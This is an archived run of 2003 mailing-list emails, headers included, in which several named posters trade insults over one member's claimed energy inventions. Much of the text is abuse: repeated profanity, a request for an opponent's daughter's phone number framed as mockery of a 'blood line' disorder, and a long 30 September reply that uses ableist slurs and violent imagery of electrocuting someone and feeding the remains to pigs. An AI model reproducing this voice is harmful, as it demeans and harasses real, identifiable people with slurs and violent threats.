IS boy you will be the loser" Fourth post: I laugh your ass out of the thread, like this: --- Grasping at straws, aren't you? I read the article and it proves nothing. I've read most of the garbage you post and it also proves nothing other than that you're a loser with a repetitive, hackneyed line and nothing to say. BTW, why don't you try bottom posting? I would really appreciate it since it would make it so much easier to wade through your badly written, disorganized crap. Here's how it works: First post: You write some garbage, then under it: Second post: I cut you down and bring you to your knees, like this: "--- On the contrary, your inability to back up your claim shows, once and for all, that you're the one who's full of shit. Gotcha, Jack, and no matter how you try to squirm out of it you've just had a barbed hook shoved up your ass that you're not going to be able to get rid of. What next, loser? ---" Third post: You respond by changing the subject and pretending you haven't been made a fool of, like this: " HAS INFINITE ENERGY BEEN HERE ? PLUS IS PUB. ? call the editor plus CALL INFINITE THEY PROVED THERE THE CONCEPT I FORGOT YOU DO NOT KNOW WHAT A PHONE IS boy you will be the loser" Fourth post: I laugh your ass out of the thread, like this: ... --- Got it?-) -- John Fields From vortexb-l-request@eskimo.com Mon Sep 22 12:08:34 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA28791; Mon, 22 Sep 2003 12:03:16 -0700 Resent-Date: Mon, 22 Sep 2003 12:03:16 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com, enki@chilitech.net, stcfarms@netexpress.net Subject: Re: VERY SIMPLE JUST ASK. NO THAT IS TO EASY. Date: Mon, 22 Sep 2003 13:58:54 -0500 Organization: Austin Instruments, Inc. Message-ID: <10humv4i513es7oiq3l4goveva50mlm2vv@4ax.com> References: <10d.29facd75.2ca06fbc@aol.com> In-Reply-To: <10d.29facd75.2ca06fbc@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id MAA28584 Resent-Message-ID: <"-qOkz.0.617.nTqR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3844 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 186 On Mon, 22 Sep 2003 11:31:08 EDT, you wrote: >In a message dated 9/22/03 10:02:48 AM Eastern Standard Time, >jbfields3@sbcglobal.net writes: > > >> But you're a know-nothing idiot, so what you suggest >> is immaterial. >> >> If you want to be taken seriously come up with >> something other than your ridiculous opinions. >> >> REPLY ASK THE CHIEF SCIENTIST OF DELPHI/GM WHAT I KNOW ? or Tony Lee Vice >> President Hq. Staff Eng. Delphi in Troy Mi. Or Tom Crampton EXEC. Dean of >> the 50 million dollar tech. center. here. Or Marty Wagner Their top Eng. or >> Dave Roach the head of thir Electronics lab. Or Dr. Dave Doherty Vice >> President General Motors Institute /Kettering Univ. ASK MORON fool clown? >> BOY YOUR ALL TALK YOU have no guts --- Why should I have to ask anyone? I'm certainly capable of making up my own mind as to whether you're a know-nothing idiot or not, just from reading the irrelevant, immaterial, time-wasting trash you try to pass off as worthwhile. But you _do_ have a penchant for name-dropping don't you? As if just by mentioning the names of honorable people you're going to capture some of their credibility. It's _way, way_ too late for that now, Jack. You've already ruined yourself as far as anyone around here is concerned, and I suspect all the people whose names you drop feel the same way. If that's not true, why don't you email them and ask for some testimonials and permission to post them? If they think so highly of you it seems that's the least they could do for you... -- John Fields From vortexb-l-request@eskimo.com Mon Sep 22 17:54:08 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA04927; Mon, 22 Sep 2003 17:52:17 -0700 Resent-Date: Mon, 22 Sep 2003 17:52:17 -0700 Date: Mon, 22 Sep 2003 17:52:16 -0700 From: nitroburn Subject: Re: VERY SIMPLE JUST ASK. NO THAT IS TO EASY. To: vortexb-l@eskimo.com Message-id: <004401c3816c$ef7291e0$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_xLYUpIP6E8vYW+OcGRrLiw)" X-Priority: 3 X-MSMail-priority: Normal References: <10d.29facd75.2ca06fbc@aol.com> Resent-Message-ID: <"yI1EM1.0.iC1.0bvR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3848 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 187 This is a multi-part message in MIME format. --Boundary_(ID_xLYUpIP6E8vYW+OcGRrLiw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Anyone who talks to them knows your full of shit. But they just descibe it as 'crazy' ----- Original Message ----- From: JCarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com ; enki@chilitech.net ; stcfarms@netexpress.net Sent: Monday, September 22, 2003 8:31 AM Subject: VERY SIMPLE JUST ASK. NO THAT IS TO EASY. In a message dated 9/22/03 10:02:48 AM Eastern Standard Time, jbfields3@sbcglobal.net writes: But you're a know-nothing idiot, so what you suggest is immaterial. If you want to be taken seriously come up with something other than your ridiculous opinions. REPLY ASK THE CHIEF SCIENTIST OF DELPHI/GM WHAT I KNOW ? or Tony Lee Vice President Hq. Staff Eng. Delphi in Troy Mi. Or Tom Crampton EXEC. Dean of the 50 million dollar tech. center. here. Or Marty Wagner Their top Eng. or Dave Roach the head of thir Electronics lab. Or Dr. Dave Doherty Vice President General Motors Institute /Kettering Univ. ASK MORON fool clown? BOY YOUR ALL TALK YOU have no guts --Boundary_(ID_xLYUpIP6E8vYW+OcGRrLiw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Anyone who talks to them knows your full of shit. But they just descibe it as 'crazy'
----- Original Message -----
Sent: Monday, September 22, 2003 8:31 AM
Subject: VERY SIMPLE JUST ASK. NO THAT IS TO EASY.

In a message dated 9/22/03 10:02:48 AM Eastern Standard Time, jbfields3@sbcglobal.net writes:


But you're a know-nothing idiot, so what you suggest
is immaterial.   

If you want to be taken seriously come up with
something other than your ridiculous opinions.

  REPLY ASK THE CHIEF SCIENTIST OF DELPHI/GM WHAT I KNOW ? or Tony Lee Vice President  Hq. Staff Eng.  Delphi in Troy Mi. Or Tom Crampton EXEC. Dean of the 50 million dollar tech. center. here. Or Marty Wagner  Their top Eng.  or Dave Roach the head of thir Electronics lab. Or Dr. Dave Doherty  Vice President  General Motors Institute /Kettering Univ.   ASK MORON fool clown?     BOY YOUR ALL TALK  YOU have no guts


--Boundary_(ID_xLYUpIP6E8vYW+OcGRrLiw)-- From vortexb-l-request@eskimo.com Mon Sep 22 18:00:49 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA09692; Mon, 22 Sep 2003 17:58:27 -0700 Resent-Date: Mon, 22 Sep 2003 17:58:27 -0700 Date: Mon, 22 Sep 2003 17:54:35 -0700 From: nitroburn Subject: Re: CHRIS MY DAUGHTER IS IN LA AND HAS A CD DEMO To: vortexb-l@eskimo.com Message-id: <006001c3816d$4786c9a0$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_4IJDarWww4hcOxcE/1cGng)" X-Priority: 3 X-MSMail-priority: Normal References: <1a2.1a48f1ff.2ca0b89e@aol.com> Resent-Message-ID: <"bSDWU2.0.NN2.pgvR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3849 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 188 This is a multi-part message in MIME format. --Boundary_(ID_4IJDarWww4hcOxcE/1cGng) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Can I have your daughters cellphone number? I would like to discuss the possibility of there being some sort of disorder in the blood line. ----- Original Message ----- From: JCarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com Sent: Monday, September 22, 2003 1:42 PM Subject: CHRIS MY DAUGHTER IS IN LA AND HAS A CD DEMO In a message dated 9/22/03 2:41:45 PM Eastern Standard Time, chris@pdghightower.com writes: my personal favorite is this "dyslexics of the world untie!" HELLO ARE YOU THERE.? WEB SITE WILL BE UP SOON WITH DEMOS SHE WILL SHOW YOUR CO I WILL EXPLAIN OVER THE PHONE WHEN SHE DOES SHE IS PR GENIUS WITH VERY PROFESSIONAL MANOR PLUS MOVIE STAR LOOKS. NATURALLY YOU WOULD BORE HER TO NO END BECAUSE YOU HAVE YOUR HEAD TO FAR UP YOUR ASS --Boundary_(ID_4IJDarWww4hcOxcE/1cGng) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Can I have your daughters cellphone number? I would like to discuss the possibility of there being some sort of disorder in the blood line.
----- Original Message -----
Sent: Monday, September 22, 2003 1:42 PM
Subject: CHRIS MY DAUGHTER IS IN LA AND HAS A CD DEMO

In a message dated 9/22/03 2:41:45 PM Eastern Standard Time, chris@pdghightower.com writes:


my personal favorite is this
"dyslexics of the world untie!"

     HELLO   ARE YOU THERE.?    WEB SITE WILL BE UP SOON  WITH DEMOS  SHE WILL SHOW YOUR CO I WILL EXPLAIN OVER THE PHONE WHEN SHE DOES  SHE IS PR GENIUS WITH  VERY PROFESSIONAL MANOR PLUS MOVIE STAR LOOKS.     NATURALLY YOU WOULD BORE HER TO NO END BECAUSE YOU HAVE YOUR HEAD TO FAR UP YOUR ASS

--Boundary_(ID_4IJDarWww4hcOxcE/1cGng)-- From vortexb-l-request@eskimo.com Mon Sep 22 19:27:02 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id TAA17161; Mon, 22 Sep 2003 19:22:53 -0700 Resent-Date: Mon, 22 Sep 2003 19:22:53 -0700 Date: Mon, 22 Sep 2003 19:08:44 -0700 From: nitroburn Subject: Re: VERY SIMPLE JUST ASK. NO THAT IS TO EASY. To: vortexb-l@eskimo.com Message-id: <002201c38177$9fed5b90$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_qH8y2CpSVE+JuuR7ZrtUcA)" X-Priority: 3 X-MSMail-priority: Normal References: <14d.24362f0e.2ca0f773@aol.com> Resent-Message-ID: <"Vvh3h1.0.yB4.zvwR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3851 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 189 This is a multi-part message in MIME format. --Boundary_(ID_qH8y2CpSVE+JuuR7ZrtUcA) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Why dont you just give out their numbers so I can call again and ask. They didn't seem to happy last time I called and mentioned you. Maybe they don't like you mentioning them. They seemed pretty sure you were crazy. Of course I left myself wide open you idiot, there is nothing for me to hide. ----- Original Message ----- From: JCarey9622@aol.com To: vortexb-l@eskimo.com Sent: Monday, September 22, 2003 6:10 PM Subject: Re: VERY SIMPLE JUST ASK. NO THAT IS TO EASY. In a message dated 9/22/03 7:58:40 PM Eastern Standard Time, nitro@bctel.org writes: Anyone who talks to them knows your full of shit. But they just descibe it as 'crazy' REPLY DIP SHIT YOU HAVE TO BE TO LIVE ON THIS PLANET WITH TYPE 13 PLANET DONKEY BACKWARD DOGMA THINKERS LIKE YOU AT LEAST IT HELPS. MORON YOU LEFT YOURSELF WIDE OPEN AGAIN --Boundary_(ID_qH8y2CpSVE+JuuR7ZrtUcA) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Why dont you just give out their numbers so I can call again and ask.
They didn't seem to happy last time I called and mentioned you. Maybe they don't like you mentioning them. They seemed pretty sure you were crazy.
 
Of course I left myself wide open you idiot, there is nothing for me to hide.
 
----- Original Message -----
Sent: Monday, September 22, 2003 6:10 PM
Subject: Re: VERY SIMPLE JUST ASK. NO THAT IS TO EASY.

In a message dated 9/22/03 7:58:40 PM Eastern Standard Time, nitro@bctel.org writes:


Anyone who talks to them knows your full of shit. But they just descibe it as 'crazy'


REPLY DIP SHIT YOU HAVE TO BE TO LIVE ON THIS PLANET WITH TYPE 13 PLANET DONKEY BACKWARD DOGMA THINKERS LIKE YOU   AT LEAST IT HELPS. MORON  YOU LEFT YOURSELF WIDE OPEN AGAIN
--Boundary_(ID_qH8y2CpSVE+JuuR7ZrtUcA)-- From vortexb-l-request@eskimo.com Tue Sep 30 10:16:31 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id KAA20417; Tue, 30 Sep 2003 10:12:40 -0700 Resent-Date: Tue, 30 Sep 2003 10:12:40 -0700 Date: Tue, 30 Sep 2003 09:46:29 -0700 From: nitroburn Subject: Re: STICKS AND STONES WILL BREAK my bones but names will never hurt me. To: vortexb-l@eskimo.com Message-id: <00b801c38772$65a353d0$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_FcoAXwnwG3LbdAgz2M2PYA)" X-Priority: 3 X-MSMail-priority: Normal References: <114.29613ecb.2caaaf27@aol.com> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3881 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 190 This is a multi-part message in MIME format. --Boundary_(ID_FcoAXwnwG3LbdAgz2M2PYA) Content-type: text/plain; charset=utf-8 Content-transfer-encoding: quoted-printable I finally figured out where this '4D mind Game' thing came from.. Jack Carey... You have watched too much 'Back To the Future I/II/III' Watching the movie the other night, I noticed the doc made a bunch of = comments like, "Your not thinking fourth dimensionally!!#($ The Track = will already be there in 1989" How its actually a 4th dimension, no one knows, but it sure makes it = seem fancy.=20 ----- Original Message -----=20 From: JCarey9622@aol.com=20 To: vortexb-l@eskimo.com=20 Sent: Tuesday, September 30, 2003 3:04 AM Subject: STICKS AND STONES WILL BREAK my bones but names will never = hurt me. In a message dated 9/11/03 12:59:41 AM Eastern Standard Time, = nitro@bctel.org writes: REPLY BOY What you saying below Does THAT MEAN YOUR NOT CALLING = ME BACK AS YOU SAID YOU WERE so you can possible grasp more.? Because = the last time you were copping such a combative arrogant attitude that = you were grasping very little. The truth you speak of was stated in = concept terms. Which is all science gets. Period. I agree main stream in = the box types will probably feel as you do when they discover their EDU. = are basically worthless and useless. The smart ones will attempt to = grasp at least the concept.=20 So they can attempt to bluff their superiors into thinking they = understand. Otherwise their inability's will be uncovered in short = order. Probably causing their superiors to boot their asses out the door = into the street holding their desks contents in a box. For I say onto = to you as ""JC"" I foresee that occurrence coming about. Don't that just = suck?=20 Especially since you just spent 50,000 on a Tech. EDU. That is not If = the Great ""JC"" is correct worth the paper they will be writing the = diploma on. I will say that couldn't happen to a nicer guy. IF so maybe = you will learn what humble is all about. Because as the saying goes The = meek shall inherit the earth. So says the one and only ""JC"" Forget that other one he F=3DK up. He just was not slick enough. Here = is what he should have done. Told the money changers go down the Street = and set up shop and I will send you my flock as new customers. Boys you = pay me a percentage of their money exchanges. Then I will use that for = operating expenses and paying off the Romans. So they will leave my ass = along. No, he did not do that and we all know he got his ass in deep = shit. The point is attempt to learn from others mistakes. For no knows = it all. And anyone who thinks they do is only fooling themselves. AS the = Great Will Rogers once stated in his infinite wisdom=20 "We are all Ignorant Only About different Subjects"" Case in point the = ignorance of lead water pipes brought down the great Roman Empire. As = our Ignorance of the correct procedures required that we should be = utilizing in regard to how we treat our life giving environment will = surly bring down ours. Unless we make the correct choices and to be able = to accomplish that.=20 Seeking knowledge beyond what we currently understand will be the = prime directive. That can only be accomplished by listening to those = that may make simple deductive reasoning common sense. And investigating = what mistakes those long before us made that caused them to lose their = civilizations. There is a reason Native types like American Indians = Show absolute respect to their surroundings.=20 Because those long before them learned their lessons and pasted that = knowledge down through the ages. What their Forefathers told them was = Under any circumstances do not F=3DK with mother nature. Or she will = extract a heavy price if you do. And you still have a worthless EDU. = Because you have displayed no vision =20 Jack carey 2003 FYI Sticks and Stones will break my Bones But names = will never hurt me. For they are only words. Once you evolve as I have = you will think as I do. Until then you will not. Case in point Your = displaying the fact that you have not evolved. With a ""Density equals = Infinity"" and mine ""Ignorance Causes Arrogance" Attitude. That says = very little for your EDU. Your receiving in British Columbia =20 What has been stated here Vision or delusion insanity. I predict = considering your statements. You will say the latter. In order to have = fun and to attempt to play the ultiment trick screw 4 D mind game with = you Because I become bored so easily I think I will agree with you this = time.=20 You little bitch. Stop hiding the truth you delusional motherfucker. You are an unequivocally grotesque vermin and a maniacal, = disease-ridden blight upon society. I hope, pray and dream that you = shall parachute naked into the world's prickliest cactus, you leach on = humanity. Shut up before I wire your eyeballs to a defibrillator; set = the voltage to Kill, and smile as you go flying around the flashing coop = like a beheaded multicolored, fire-farting chicken before collapsing = conveniently at my feet so I can piss-out the flames and feed the = remains of your fried gimp carcass to the pigs.=20 Is there a gibberish translator in the house? I can't make head nor = nail of that uber-babble you flung onto the screen during your latest = spasmodic seizure. You should offer your posting style to hospital = operating theatres as a highly-effective alternative to = unconsciousness-inducing medications. Here's a tip: no one will ever know that you've had a lobotomy if = you wear a wig to hide to the scars; stop posting your drivel on message = boards, and learn to control the slobbering. If you're going to say = something that ignorant, you could at least fake a stroke. Anyway, who = was talking to you or even taking you under consideration? You bring to = mind a quote from Josh Billing: "Doesn't know much, but leads the league = in nostril hair." Most repair manuals are far more interesting than you, and far less = turgid to read. Genius does what it must, talent does what it can, and = you had best do what you're told, you dyslexic lobotomy patient. Maybe = you wouldn't be such a Jerk-In-The-Box if you'd had enough oxygen at = birth; if your weren't so fat that buildings bounce when you haul your = Sumo Wrestler mass down the street, or if you didn't have a face that = makes people ask: "Damn, is it Halloween already?" Who am I kidding? You = would. Now, why don=E2=80=99t you climb onto that Special Needs tricycle of = yours with the fourth wheel attached for extra-ensured retard stability = and pedal your fat ass down to the sports field and do some = =E2=80=9Coutdoors=E2=80=9D stuff for a change. Hell, if you = don=E2=80=99t like it, you can always offer to lick-clean the = jockstraps. --Boundary_(ID_FcoAXwnwG3LbdAgz2M2PYA) Content-type: text/html; charset=utf-8 Content-transfer-encoding: quoted-printable =EF=BB=BF
I finally figured out where this '4D = mind Game'=20 thing came from..
 
Jack Carey... You have watched too much = 'Back To=20 the Future I/II/III'
 
Watching the movie the other night, I = noticed the=20 doc made a bunch of comments like, "Your not thinking fourth = dimensionally!!#($=20 The Track will already be there in 1989"
How its actually a 4th dimension, no = one knows,=20 but it sure makes it seem fancy.
----- Original Message -----
From:=20 JCarey9622@aol.com
Sent: Tuesday, September 30, = 2003 3:04=20 AM
Subject: STICKS AND STONES WILL = BREAK my=20 bones but names will never hurt me.

In a = message dated=20 9/11/03 12:59:41 AM Eastern Standard Time, nitro@bctel.org = writes:

 =20 REPLY   BOY What you saying  below  Does THAT = MEAN YOUR=20 NOT CALLING ME BACK AS YOU SAID YOU WERE so you can possible grasp=20 more.?  Because the last time you were copping such a combative = arrogant=20 attitude that you were grasping very little. The truth you speak of = was stated=20 in concept terms. Which is all science gets. Period. I agree main = stream in=20 the box types will probably feel as you do when they discover their = EDU. are=20 basically worthless and useless. The smart ones will attempt to grasp = at least=20 the concept.

So they can attempt to bluff their superiors into = thinking they understand. Otherwise their inability's will be = uncovered in=20 short order. Probably causing their superiors to boot their asses out = the door=20 into the street holding their desks contents in a box.  For I say = onto to=20 you as ""JC"" I foresee that occurrence coming about. Don't that just = suck?=20

Especially since you just spent 50,000 on a Tech.  EDU. = That is=20 not If the Great ""JC"" is correct  worth the paper they will be = writing=20 the diploma on. I will say that couldn't happen to a nicer guy. IF so = maybe=20 you will learn what humble is all about. Because as the saying goes = The meek=20 shall inherit the earth.  So says the one and only = ""JC""

Forget=20 that other one he F=3DK up. He just was not slick enough.  = Here  is=20 what he should have done. Told the money changers go down the Street = and set=20 up shop and I will send you my flock as new customers. Boys you pay me = a=20 percentage of their money exchanges. Then I will use that for = operating=20 expenses and paying off the Romans. So they will leave my ass = along.  No,=20 he did  not do that and we all know he got his ass in deep shit. = The=20 point is attempt to learn from others mistakes. For no knows it all. = And=20 anyone who thinks they do is only fooling themselves. AS the Great = Will Rogers=20 once stated in his infinite wisdom

"We are all Ignorant Only = About=20 different Subjects"" Case in point the ignorance of lead water pipes = brought=20 down the great Roman Empire. As our Ignorance of the correct = procedures=20 required that we should be utilizing in regard to how we treat our = life giving=20 environment will surly bring down ours. Unless we make the correct = choices and=20 to be able to accomplish that.

Seeking knowledge beyond what = we=20 currently understand will be the prime directive. That can only be=20 accomplished by listening to those that may make simple deductive = reasoning=20 common sense. And investigating what mistakes those long before us = made that=20 caused them to lose their civilizations.  There is a reason = Native types=20 like American Indians Show absolute respect to their surroundings.=20

Because those long before them learned their lessons and = pasted that=20 knowledge down through the ages. What their Forefathers told them = was =20 Under any circumstances do not F=3DK with mother nature. Or she will = extract a=20 heavy price if you do.  And you still have a worthless EDU. = Because you=20 have displayed no vision  

Jack carey 2003 FYI = Sticks and=20 Stones will break my Bones But names will never hurt me. For they are = only=20 words. Once you evolve as I have you will think as I do. Until then = you will=20 not. Case in point Your displaying the fact that you have not = evolved. =20 With a ""Density equals Infinity"" and mine ""Ignorance Causes=20 Arrogance"  Attitude. That says very little for your EDU. Your = receiving=20 in British Columbia 

What has been stated here Vision or = delusion=20 insanity. I predict considering your statements. You will say the = latter. In=20 order to have fun and to attempt to play the ultiment trick screw 4 D = mind=20 game with you  Because I become bored so easily I think I will = agree with=20 you this time.

You little bitch. Stop hiding the truth you delusional=20 motherfucker.

You are an unequivocally grotesque vermin and a = maniacal,=20 disease-ridden blight upon society. I hope, pray and dream that you = shall=20 parachute naked into the world's prickliest cactus, you leach on = humanity.=20 Shut up before I wire your eyeballs to a defibrillator; set the = voltage to=20 Kill, and smile as you go flying around the flashing coop like a = beheaded=20 multicolored, fire-farting chicken before collapsing conveniently at = my feet=20 so I can piss-out the flames and feed the remains of your fried gimp = carcass=20 to the pigs.

Is there a gibberish translator in the house? I = can't=20 make head nor nail of that uber-babble you flung onto the screen = during your=20 latest spasmodic seizure. You should offer your posting style to = hospital=20 operating theatres as a highly-effective alternative to=20 unconsciousness-inducing medications.

Here's a tip: no one will ever know that you've = had a=20 lobotomy if you wear a wig to hide to the scars; stop posting your = drivel on=20 message boards, and learn to control the slobbering. If you're going = to say=20 something that ignorant, you could at least fake a stroke. Anyway, = who was=20 talking to you or even taking you under consideration? You bring to = mind a=20 quote from Josh Billing: "Doesn't know much, but leads the league in = nostril=20 hair."

Most repair manuals are far more interesting = than you,=20 and far less turgid to read. Genius does what it must, talent does = what it=20 can, and you had best do what you're told, you dyslexic lobotomy = patient.=20 Maybe you wouldn't be such a Jerk-In-The-Box if you'd had enough = oxygen at=20 birth; if your weren't so fat that buildings bounce when you haul = your Sumo=20 Wrestler mass down the street, or if you didn't have a face that = makes=20 people ask: "Damn, is it Halloween already?" Who am I kidding? You=20 would.

Now, why don=E2=80=99t you climb onto that = Special Needs tricycle=20 of yours with the fourth wheel attached for extra-ensured retard = stability=20 and pedal your fat ass down to the sports field and do some = =E2=80=9Coutdoors=E2=80=9D stuff=20 for a change. Hell, if you don=E2=80=99t like it, you can always = offer to lick-clean=20 the jockstraps.




 --Boundary_(ID_FcoAXwnwG3LbdAgz2M2PYA)-- From vortexb-l-request@eskimo.com Tue Sep 30 15:34:30 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA05637; Tue, 30 Sep 2003 15:32:09 -0700 Resent-Date: Tue, 30 Sep 2003 15:32:09 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com Subject: Re: EVOLUTIONARY PHASE CONVERSION PRECISE OPERATIONAL DYNAMICS Date: Tue, 30 Sep 2003 17:33:54 -0500 Organization: Austin Instruments, Inc. Message-ID: <8u0knvo2o24hhij84i98b6gv8r0pae339l@4ax.com> References: <18c.204fe294.2cab2172@aol.com> In-Reply-To: <18c.204fe294.2cab2172@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id PAA05531 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3884 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 191 On Tue, 30 Sep 2003 14:12:02 EDT, you wrote: > IN ORDER TO PUT ALL OF THIS PSYCHO BABBLE INTO SOME SORT OF REASONABLE >PERSPECTIVE WHICH IS NOT EASY CONSIDERING MY POOR GRAMMAR --- Even if you had a perfect command of the written language it would still be crap. Not psychobabble, which you don't have the mental resources to formulate and wield, just plain old crap. -- John Fields From vortexb-l-request@eskimo.com Tue Sep 30 16:41:32 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id QAA26706; Tue, 30 Sep 2003 16:39:36 -0700 Resent-Date: Tue, 30 Sep 2003 16:39:36 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: lynnpeach@millionairematch.com Subject: Re: PEOPLES PERCEPTION and the mother of invention & Planet Earth Date: Tue, 30 Sep 2003 18:27:47 -0500 Organization: Austin Instruments, Inc. Message-ID: <3b1knv0kosc5gafd00elnaoeb16ajrusj0@4ax.com> References: <38.3d5dcd94.2cab0d2c@aol.com> In-Reply-To: <38.3d5dcd94.2cab0d2c@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id QAA26683 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3885 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 192 On Tue, 30 Sep 2003 12:45:32 EDT, you wrote: > OF ME IS 90% INCORRECT AND THAT IS CAUSED BY THEM ATTEMPTING TO PERCEIVE >from pre set opinionated views of certain types. As opposed to investigate >then render a conclusion which is the only way a factual conclusion can be >arrived at. --- You call "investigation" wasting a phone call to you to listen to a verbal version of the crap you spew in writing. You're a fraud either way (or totally misguided) so what's the point? The factual conclusions I've arrived at re. you are that: 1. You can't write properly. 2. You have no scientific acumen. 3. You present opinion as though it were fact. 4. You alienate everyone you come in contact with. --- > That poor judgment dimension is a glaring flaw in our EDU system's teaching >procedures. Because they attempt to teach people how to think instead of >encouraging people to only think for themselves. > >Case in point non business scientific types perceive business types and >especially promoters of products as con men if the product is scientific related. >Because of their generally arrogant know it all only what they think is >correct thinking. --- I'm a scientist, an inventor, I've been in business for over 20 years, and the only people I consider to be con men and charlatans are people like you who make promises and never come through with the goods. --- >Which says >Only they can be knowledgeable about anything related to scientific premises >and their attitude is compounded if a totally new premises is involved. To the >point of being combative and very childish. especially if you do not give >them the info they want. Which is how they can duplicate so they can steal >whatever? --- That's total crap and is the kind of argument which cheaters like you try to use to keep from having to divulge that they know nothing about what they're talking about. With _very_ few exceptions all of us in the scientific community welcome change and look forward to broadening our horizons by acquiring new knowlege and insights into the truth. Generally, most of us don't get _all_ that upset when someone like you comes along pretending to have something which he really doesn't, because your types are easy to spot and we've usually learned how to deal with trash like you. --- >Theoretical only ones do not invent and are very jealous of ones that do. All >they do is talk they produce zero as far as products and the ones they are >involved with as far as design are 95% over plumbed. Whereas inventors are >creators of simple products because they are attempting to solve a problem or >simplify an existing or improve a process generally because they have a physical >need --- Well, you uninformed ignoramus, I _am_ an inventor _and_ I make my living designing products, and you don't, so don't pretend that you know anything about what's required in terms of theory in order to make something happen. You haven't got the slightest clue about what's involved in formulating a theory and determining whether it's right or not, and yet you think that you're qualified to make judgements about people who's contributions you resent because you can't understand them? Fuck you. -- John Fields From vortexb-l-request@eskimo.com Fri Oct 3 06:48:39 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id GAA06071; Fri, 3 Oct 2003 06:46:24 -0700 Resent-Date: Fri, 3 Oct 2003 06:46:24 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: mike@ucsofa.com, eric@voicenet.com Subject: Re: JACK CAREY IS GOING TO NYC AND CONCORD NH maybe DC Date: Fri, 03 Oct 2003 08:47:37 -0500 Organization: Austin Instruments, Inc. Message-ID: <51tqnvogvjvrv0qe7i435td9re3v3l6d0b@4ax.com> References: <37.3eb944dc.2cae2a21@aol.com> In-Reply-To: <37.3eb944dc.2cae2a21@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id GAA05990 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com 